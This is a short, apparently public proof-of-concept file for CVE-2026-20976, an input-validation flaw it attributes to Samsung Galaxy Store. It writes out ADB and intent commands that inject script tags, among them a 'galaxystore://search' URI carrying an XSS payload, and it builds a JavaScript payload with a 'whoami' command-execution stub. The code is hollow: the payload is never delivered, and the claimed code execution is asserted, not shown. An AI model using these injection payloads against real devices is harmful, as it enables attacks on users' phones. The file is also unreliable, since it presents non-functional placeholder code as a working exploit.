// CVE-2026-20976 PoC - Galaxy Store Input Validation Bypass
// Note: This is a conceptual PoC for demonstration purposes
// Actual exploitation requires specific triggering mechanism
// Method 1: Using ADB to trigger the vulnerable code path
// adb shell am start -n com.sec.android.app.samsungapps/.Main
// adb shell input text "<script>malicious_code_here</script>"
// Method 2: Intent-based triggering (requires device access)
// am start -a android.intent.action.VIEW \
// -d "galaxystore://search?q=<script>alert('XSS')</script>"
// Method 3: Broadcast receiver exploitation
// Local broadcast with malicious payload in extra data
// This requires the attacker to have PR:L privileges
// Conceptual payload structure:
var payload = {
action: "com.samsung.android.app.samsungapps.SEARCH",
data: {
query: "<script>\n// Arbitrary JavaScript/Shell code execution\nvar cmd = 'whoami';\n// Execute command via available APIs\n</script>"
},
flags: ["FLAG_ACTIVITY_NEW_TASK"]
};
// The vulnerability allows this payload to be processed
// without proper sanitization, leading to code execution
console.log("PoC for CVE-2026-20976 - Galaxy Store Input Validation");
